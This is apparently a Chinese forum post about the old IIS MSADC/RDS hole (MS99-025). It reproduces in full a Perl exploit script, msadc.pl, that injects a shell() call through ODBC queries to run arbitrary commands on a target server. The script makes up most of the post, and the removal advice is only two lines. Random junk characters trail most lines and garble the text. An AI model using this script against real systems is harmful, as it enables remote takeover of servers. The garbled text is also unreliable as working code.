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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ?W<cB`J  
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涉及程序: Ij$)RSPtH  
Microsoft NT server ]xB6cPdLu  
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描述: rHo6iJj  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 )GCLK<,swu  
Et0&E  
详细: -$tCF>,  
如果你没有时间读详细内容的话,就删除: tnRJ#[Io  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Ko-QR(  
有关的安全问题就没有了。 tz8t9lb[  
Ey = 4 b  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 coO.kTO;  
ULbP_y>(Y  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 #x|VfN5f  
关于利用ODBC远程漏洞的描述,请参看: 7n>|D^  
Gavkil  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <|dj^.^  
C!kbZTO[p"  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ]h!*T{:  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~6fRS2u  
eb7UoZw  
这里不再论述。 Ds G !S*  
Pd& ,G$l  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ,QL(i\  
s|p(KWo2U  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Wlxk  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 5YLho2h38!  
xx}'l:}2 ]  
6fQ*X~| p  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ~{Ua92zV9  
(77Dif0)'  
#!perl " #J}A0  
# ^1vq{/ X  
# MSADC/RDS 'usage' (aka exploit) script Vg) ^|  
# 6<Be#Y]b  
# by rain.forest.puppy h?3f5G*&H  
# t.u{.P\Md\  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me T)O]:v  
# beta test and find errors! 9Iy[E,j  
X~#@rg!"  
use Socket; use Getopt::Std; ;q^,[(8  
getopts("e:vd:h:XR", \%args); _BCT.ual  
*ig5Q(b*N  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; /^8t'Jjd,  
0Mq6yu^  
if (!defined $args{h} && !defined $args{R}) { hAYQ6g$A  
print qq~ @]yQJuXA&Z  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 6vZt43"m?\  
-h <host> = host you want to scan (ip or domain) vkh;qPD  
-d <seconds> = delay between calls, default 1 second Q)9369<A  
-X = dump Index Server path table, if available [y$j9  
-v = verbose  MbM :3  
-e = external dictionary file for step 5 ),z,LU Yf  
8*"rZh}'  
Or a -R will resume a command session r$Kh3EEF`E  
],!p p3U  
~; exit;} gZ ~y}@L y  
1gL8$.B?  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; vatx+)  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} )/i4YLO  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} X^9t  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); mrX}\p   
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} [29$~.m$Y  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } CcbWW4 )  
!/[AQ{**T!  
if (!defined $args{R}){ $ret = &has_msadc; .Pqj6Ko9  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} s')!<E+z\t  
\y<+Fac1S  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" mfUKHX5  
. "cmd /c "; %Ud.SJ 3  
$in=<STDIN>; chomp $in; jWz|K  
$command="cmd /c " . $in ; Ab/v_ mA;  
C}|O#"t^\  
if (defined $args{R}) {&load; exit;} Q9SPb6O2  
]eORw $f  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; T`j  
&try_btcustmr; >2*6qx>V  
?m`R%>X"  
print "\nStep 2: Trying to make our own DSN..."; 1Q3%!~<\s  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Es_ SCWJ  
[UUM^!1  
print "\nStep 3: Trying known DSNs..."; NN?Bi=&9  
&known_dsn; }P7xdQ6  
+*]SP@|IYI  
print "\nStep 4: Trying known .mdbs..."; R?i-"JhW  
&known_mdb; bkJn}Al;  
=r=^bNO  
if (defined $args{e}){ t%ou1 &SO  
print "\nStep 5: Trying dictionary of DSN names..."; s#4))yUR6Z  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 'Sm/t/g"|  
mvxc[  
print "Sorry Charley...maybe next time?\n"; %@)U/G6s}  
exit; axt6u)4%7:  
k0Oc,P`'*  
############################################################################## Va&KIHw  
JT}dor  
sub sendraw { # ripped and modded from whisker OqUE4. vIP  
sleep($delay); # it's a DoS on the server! At least on mine... Zz wZ, (  
my ($pstr)=@_; 'bd=,QW  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 7~QwlU3n<F  
die("Socket problems\n"); zcbA)  
if(connect(S,pack "SnA4x8",2,80,$target)){ 9;'>\ImI  
select(S); $|=1; V~tu<"%  
print $pstr; my @in=<S>; E9 :|8#b  
select(STDOUT); close(S); Xb8:*Y1'  
return @in; Q|zE@nLS  
} else { die("Can't connect...\n"); }} C]{V%jU  
E$oA+n~  
############################################################################## R;N>#_9HU  
,(5dQ`hA0  
sub make_header { # make the HTTP request as\)S?0`.  
my $msadc=<<EOT 9'1;-^U1  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 4 g/<).1<b  
User-Agent: ACTIVEDATA c>%z)uY>/  
Host: $ip NiU tH  
Content-Length: $clen /61ag9pN  
Connection: Keep-Alive gPn%`_d5  
,L8I7O}A;  
ADCClientVersion:01.06 cftn`:(&8  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 !~VR|n-  
>(YPkmH  
--!ADM!ROX!YOUR!WORLD! ~Y}Z4" o  
Content-Type: application/x-varg mw%[qeL V  
Content-Length: $reqlen fM zAf3  
P,LXZ  
EOT r[i~4N=  
; $msadc=~s/\n/\r\n/g; V9);kD  
return $msadc;} 8#d99dOe  
l)2HHu<  
############################################################################## kKI!B`j=  
^y;OHo  
sub make_req { # make the RDS request z;Gbqr?{{  
my ($switch, $p1, $p2)=@_; 7m@^=w  
my $req=""; my $t1, $t2, $query, $dsn; zrWq!F*-V\  
Uzm[e%/`  
if ($switch==1){ # this is the btcustmr.mdb query )x5$io   
$query="Select * from Customers where City=" . make_shell(); "m\UqQGX  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 3IRRFIiO  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} cC(ubUR  
B "s8i{Vm  
elsif ($switch==2){ # this is general make table query @[Jt~v  
$query="create table AZZ (B int, C varchar(10))"; Xk7$?8r4&  
$dsn="$p1";} 1&>nL`E[3  
~6Ee=NaLzP  
elsif ($switch==3){ # this is general exploit table query _mq*j^u,j  
$query="select * from AZZ where C=" . make_shell(); jwtXI\@MS  
$dsn="$p1";} Rqd%#v  
a)yNXn8E_  
elsif ($switch==4){ # attempt to hork file info from index server a5Acqa  
$query="select path from scope()"; U+3PqWB  
$dsn="Provider=MSIDXS;";} lpX p )r+  
ct|'I]nB.h  
elsif ($switch==5){ # bad query au9Wo<mR  
$query="select"; D aqy+:  
$dsn="$p1";}  *<h  
<8xP-(wk;  
$t1= make_unicode($query); M cMK|_H  
$t2= make_unicode($dsn); iTtAj~dfZ  
$req = "\x02\x00\x03\x00"; Aj)< 8  
$req.= "\x08\x00" . pack ("S1", length($t1)); }Rf :DmPE  
$req.= "\x00\x00" . $t1 ; QY CNO#*  
$req.= "\x08\x00" . pack ("S1", length($t2)); P*qNRP%  
$req.= "\x00\x00" . $t2 ; BIB>U W  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; [laL6  
return $req;} WRU@i;l  
MjF.>4  
############################################################################## t&?v9n"X  
C">=2OO  
sub make_shell { # this makes the shell() statement qjRiTIp9q  
return "'|shell(\"$command\")|'";} :4L5@>b-  
ztxQv5=:,  
############################################################################## 9W,}A Wf:Y  
h"Yqm"U/  
sub make_unicode { # quick little function to convert to unicode N#6A>  
my ($in)=@_; my $out; H)}1xQ{3F  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } gQcr'[[a  
return $out;} Qak@~b  
F|3FvxA  
############################################################################## z$im4'\c  
u=UM^C!  
sub rdo_success { # checks for RDO return success (this is kludge) *fy`JC  
my (@in) = @_; my $base=content_start(@in); {G*:N[pJp  
if($in[$base]=~/multipart\/mixed/){ S:GUR6g8D  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} do?n /<@o  
return 0;} R?e7#HsJ  
cB"F1~z  
############################################################################## Exo`Z`m`U  
=[-- Hf  
sub make_dsn { # this makes a DSN for us R`3>0LrC8  
my @drives=("c","d","e","f"); {XUfxNDf  
print "\nMaking DSN: "; J?=Ob?+ _  
foreach $drive (@drives) { 0bQiUcg/  
print "$drive: "; 06W=(fY  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . So]FDd  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Q24:G  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); oG_'<5Bv>  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; }4ghT(C}$  
return 0 if $2 eq "404"; # not found/doesn't exist qYrGe  
if($2 eq "200") { $T%<'=u|E  
foreach $line (@results) { !JQ~r@j  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ;<GTtt# D  
} return 0;} _"t.1+-K  
4R^j"x 5  
############################################################################## R*5;J`TW  
m ?tnk?oX  
sub verify_exists { hFPRC0ftE  
my ($page)=@_; KUqS(u  
my @results=sendraw("GET $page HTTP/1.0\n\n"); t 6IaRD  
return $results[0];} zinl.8Uk  
*9:6t6x  
############################################################################## vi.AzO  
gkn/E}K#  
sub try_btcustmr { bb_jD^  
my @drives=("c","d","e","f"); L$kAe1 V^m  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 6V?&hq&t  
|JQP7z6j]  
foreach $dir (@dirs) { XGl13@=O  
print "$dir -> "; # fun status so you can see progress 8'\,&f`Y  
foreach $drive (@drives) { e/#&5ISk  
print "$drive: "; # ditto 5J#g JFA  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; JfINAaboi  
$reqlenlen=length( "$reqlen" ); ,* vnt6C*  
$clen= 206 + $reqlenlen + $reqlen; (cew:z H  
e.YchGTQ  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 7T;RXrT  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} *R6eykp  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} X@4d~6k?  
F`}w0=-*(  
############################################################################## Zdg{{|mm  
: MmXH&yR  
sub odbc_error { A;nmua-Fv  
my (@in)=@_; my $base; p. ~jo  
my $base = content_start(@in); # i=^WN<V  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $I]x &cF  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8GZjIW*0oq  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; BW\5RIWwE5  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .W.U:C1  
return $in[$base+4].$in[$base+5].$in[$base+6];} 67:<X(u+!  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 5BO!K$6  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . U)1qsUDF  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} P87Fg  
*TI6Z$b|6  
############################################################################## e Em0c]]9  
qtQ:7WO  
sub verbose { JNg5?V;.U  
my ($in)=@_;  Kj|F  
return if !$verbose; % +"AF+c3r  
print STDOUT "\n$in\n";} \4X{\ p<  
TB[2!ZW  
############################################################################## ?vNS!rY2&  
ojqX#>0K  
sub save { #zD+DBTAu  
my ($p1, $p2, $p3, $p4)=@_; rbS= Ewk  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; !D5`8   
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Elk$9 < <  
close OUT;} BD+~8v  
sU!q~`; J  
############################################################################## I}A#*iD  
|OT%,QT|  
sub load { ;mxT >|z  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; _[tBLGXD  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); #,{v Js~  
@p=<IN>; close(IN); .Vjpkt:H  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); `8bp6}OD,  
$target= inet_aton($ip) || die("inet_aton problems"); r+Cha%&D  
print "Resuming to $ip ..."; CfnCi_=[`  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ne*aC_)bT  
if($p[1]==1) { O5%F-}(:  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; PS]X Lz  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; X0=- {<W  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); XArLL5_L  
if (rdo_success(@results)){print "Success!\n";} <Y6>L};  
else { print "failed\n"; verbose(odbc_error(@results));}} \Rt  
elsif ($p[1]==3){ 7NqV*  
if(run_query("$p[3]")){ tqf-,BLh  
print "Success!\n";} else { print "failed\n"; }} NVPYv#uK  
elsif ($p[1]==4){ tR/ JY;jn  
if(run_query($drvst . "$p[3]")){ (_<n0  
print "Success!\n"; } else { print "failed\n"; }} /qze  
exit;} rt;>pQ9,  
(ajX ;/  
############################################################################## /bk} J:QRg  
>R-$JrU.=  
sub create_table { t!N >0]:mo  
my ($in)=@_;  \hc9Rk  
$reqlen=length( make_req(2,$in,"") ) - 28; Wm_-T]#_  
$reqlenlen=length( "$reqlen" ); ^O"`.2O1  
$clen= 206 + $reqlenlen + $reqlen; `Yve  
my @results=sendraw(make_header() . make_req(2,$in,"")); 4D$E  
return 1 if rdo_success(@results); Q+N @j]'  
my $temp= odbc_error(@results); verbose($temp); Y" |U$  
return 1 if $temp=~/Table 'AZZ' already exists/; w$HC!  
return 0;} <[~M|OL9q,  
IrM3Uh  
############################################################################## kS!*kk*a  
`-2`UGB-  
sub known_dsn { zg"ZXZ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go akwVU\RP  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ArM e[t0$  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", GMI >$$<  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); }]@ "t)"  
=T6\kz9)`  
foreach $dSn (@dsns) { zqn*DbT  
print "."; .YbD.{]D  
next if (!is_access("DSN=$dSn")); ?-i&6i6Y  
if(create_table("DSN=$dSn")){ pqX=l%{4ES  
print "$dSn successful\n"; p]HtJt|]  
if(run_query("DSN=$dSn")){ *i90[3l  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { JH9CN  
print "Something's borked. Use verbose next time\n";}}} print "\n";} )63w&  
m0YDO 0  
############################################################################## sS|5x  
2x CGr>X  
sub is_access { SOJHw6  
my ($in)=@_; L;<]wKs  
$reqlen=length( make_req(5,$in,"") ) - 28; 35et+9  
$reqlenlen=length( "$reqlen" ); C%h_!z":  
$clen= 206 + $reqlenlen + $reqlen; C5FtJquGN)  
my @results=sendraw(make_header() . make_req(5,$in,"")); c-{]H8$v  
my $temp= odbc_error(@results); ymu#u   
verbose($temp); return 1 if ($temp=~/Microsoft Access/); @wz7jzMi  
return 0;} mmti3Y  
l-rI|0D#  
############################################################################## g}7%3D  
~C3-E %h@Z  
sub run_query { +q!6zGs.  
my ($in)=@_; >d |W>|8e  
$reqlen=length( make_req(3,$in,"") ) - 28; K+H82$ #  
$reqlenlen=length( "$reqlen" ); R lu;l  
$clen= 206 + $reqlenlen + $reqlen; s RB8 jY  
my @results=sendraw(make_header() . make_req(3,$in,"")); EO^0sF<  
return 1 if rdo_success(@results); 6iOAYA=  
my $temp= odbc_error(@results); verbose($temp); n&lLC&dL  
return 0;} -g9f3Be  
r\?*?sL  
############################################################################## EhoR.  
UlR7_   
sub known_mdb { 2t%)d9r32  
my @drives=("c","d","e","f","g"); Gl(,%~F9i  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 420K fVA  
my $dir, $drive, $mdb; es{ 9[RHK  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ;+\;^nS3d  
,KWeW^z'7  
# this is sparse, because I don't know of many [;}c@  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Rp1OC  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", _GS2&|7`  
"\\system32\\certmdb.mdb", dx#N)?  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% &x}JC/u]fd  
mj pH)6aD0  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", dBkB9nz  
"\\cfusion\\cfapps\\forums\\forums_.mdb",  GU9`;/  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 0nX5 $Kn  
"\\cfusion\\cfapps\\security\\realm_.mdb", JT<J[Qz5  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", :Li)]qN.I  
"\\cfusion\\database\\cfexamples.mdb", 2]l*{l^ Bl  
"\\cfusion\\database\\cfsnippets.mdb", N|; cG[W  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", riz({  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", IdM ;N  
"\\cfusion\\brighttiger\\database\\cleam.mdb", >ObpOFb%  
"\\cfusion\\database\\smpolicy.mdb", S<44{ oH  
"\\cfusion\\database\cypress.mdb", x<"e  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", vv3?ewr y  
"\\website\\cgi-win\\dbsample.mdb", G.;<?W  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 6_7d1.wv9  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Ek:u[Uw\  
); #these are just /V^S)5r  
foreach $drive (@drives) { 6%>0g^`)9Y  
foreach $dir (@dirs){ q\\J9`Q$J  
foreach $mdb (@sysmdbs) { x!J L9  
print "."; 5|Uub ,  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ iw%DQ }$  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; yTk9+>  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ -kkXyO8js  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; |( KM 8  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Jx_4:G  
wI:oe`?H  
foreach $drive (@drives) { @#p4QEQA  
foreach $mdb (@mdbs) { ;:cM^LJ  
print "."; X^?-U ne  
if(create_table($drv . $drive . $dir . $mdb)){ a&&EjI  
print "\n" . $drive . $dir . $mdb . " successful\n"; *i|hcDk  
if(run_query($drv . $drive . $dir . $mdb)){ W`KkuQ4cM  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; m1TPy-|1  
} else { print "Something's borked. Use verbose next time\n"; }}}}  W* YfyM  
} ,v/C-b)I  
DZvpt%q  
############################################################################## dg-pwWqN  
zx^)Qb/EL6  
sub hork_idx { IQ\`n|  
print "\nAttempting to dump Index Server tables...\n"; 7Sokn?~i  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ~V<je b  
$reqlen=length( make_req(4,"","") ) - 28; ;^;5"n h  
$reqlenlen=length( "$reqlen" ); Zhw _L  
$clen= 206 + $reqlenlen + $reqlen; d(&vIjy  
my @results=sendraw2(make_header() . make_req(4,"","")); 7+0hIKrFC  
if (rdo_success(@results)){ Z]aSo07  
my $max=@results; my $c; my %d; YWTo]DJV  
for($c=19; $c<$max; $c++){ McfSB(59  
$results[$c]=~s/\x00//g; /g2 1.*Z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 3.>jagu  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; <1ai0]  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; tW(E\#!|p<  
$d{"$1$2"}="";} Z"P{/~HG  
foreach $c (keys %d){ print "$c\n"; } @9^kl$  
} else {print "Index server doesn't seem to be installed.\n"; }} :x_l"y"  
wH<S0vl   
############################################################################## y jb.6  
d;f,vN(  
sub dsn_dict { 0FXM4YcrJO  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); bw@tA7Y  
while(<IN>){ 8F%T Z M  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; M 3^p,[9r#  
next if (!is_access("DSN=$dSn")); Od"-w<'  
if(create_table("DSN=$dSn")){ m^`X|xK-  
print "$dSn successful\n"; Q_ $AGF  
if(run_query("DSN=$dSn")){ hcej?W8j  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { i;)88  
print "Something's borked. Use verbose next time\n";}}} 1r@v \#P  
print "\n"; close(IN);} }3@`'i7  
h~dM*yo;  
############################################################################## -WEiY  
1wwhTek  
sub sendraw2 { # ripped and modded from whisker )p&xpB(  
sleep($delay); # it's a DoS on the server! At least on mine... ;DGp7f#9  
my ($pstr)=@_; |%$d/<<PZ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || |>VHV} 4)<  
die("Socket problems\n"); =uD2j9!"7  
if(connect(S,pack "SnA4x8",2,80,$target)){ $WdZAv\_S  
print "Connected. Getting data"; lVMAab  
open(OUT,">raw.out"); my @in; B} &C h  
select(S); $|=1; print $pstr; JG4Tb{F=  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} CvlAn7r,@  
close(OUT); select(STDOUT); close(S); return @in; |]Ockg[  
} else { die("Can't connect...\n"); }} b%AYYk)d?  
X!r!lW  
############################################################################## enZW2o97c  
h4sEH  
sub content_start { # this will take in the server headers  xU)~)eK  
my (@in)=@_; my $c; P||u{]vU  
for ($c=1;$c<500;$c++) { brZ3T`p+.P  
if($in[$c] =~/^\x0d\x0a/){ }P^{\SDX  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } H.'_NCF&;L  
else { return $c+1; }}} Lc+)#9*d  
return -1;} # it should never get here actually iTD{  
=PXNg!B}D*  
############################################################################## RL($h4d9  
G$ipWi  
sub funky { )5&Wt@7Kj`  
my (@in)=@_; my $error=odbc_error(@in); >4bOM@[]  
if($error=~/ADO could not find the specified provider/){ ARslw*SJ  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; W C}mt%H*O  
exit;} n_iq85  
if($error=~/A Handler is required/){ x}72jJe`  
print "\nServer has custom handler filters (they most likely are patched)\n"; t,+p!"MRY  
exit;} NH4EsV]  
if($error=~/specified Handler has denied Access/){ 8iq~ha$]|  
print "\nServer has custom handler filters (they most likely are patched)\n"; jt?R a1Z  
exit;}} z^ ~fVl  
 Zuwd(q  
############################################################################## BC&Et62*  
)\p@E3Uxf  
sub has_msadc { * _U z**M  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); QD7>S(p  
my $base=content_start(@results); R(ay&f%E  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); #uKHw2N  
return 0;} 4ajBMgD]KG  
-j<m0XUQ  
######################## m_oBV|v{  
852$Ui|I  
.] 5&\  
解决方案: `Q}.9s_ri  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll QTM+ WD  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 F^KoEWj[H  
W&6ye  
拿出来充数 哈哈
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